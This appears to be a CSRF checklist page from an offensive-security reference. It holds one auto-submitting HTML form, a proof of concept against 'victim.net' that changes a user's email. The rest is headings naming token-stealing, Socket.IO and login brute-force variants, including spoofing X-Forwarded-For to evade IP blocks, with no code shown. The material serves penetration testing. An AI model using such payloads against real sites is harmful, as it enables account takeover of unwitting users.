CSRF

CSRF Checklist

Form GET request

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Form POST request

Form POST request through iframe

Ajax POST request

multipart/form-data POST request

multipart/form-data POST request v2

Form POST request from within an iframe

Steal CSRF Token and send a POST request

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

Steal CSRF Token and sen a POST request using an iframe and a form

Steal token and send it using 2 iframes

POSTSteal CSRF token with Ajax and send a post with a form

CSRF with Socket.IO

CSRF Login Brute Force

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

Last updated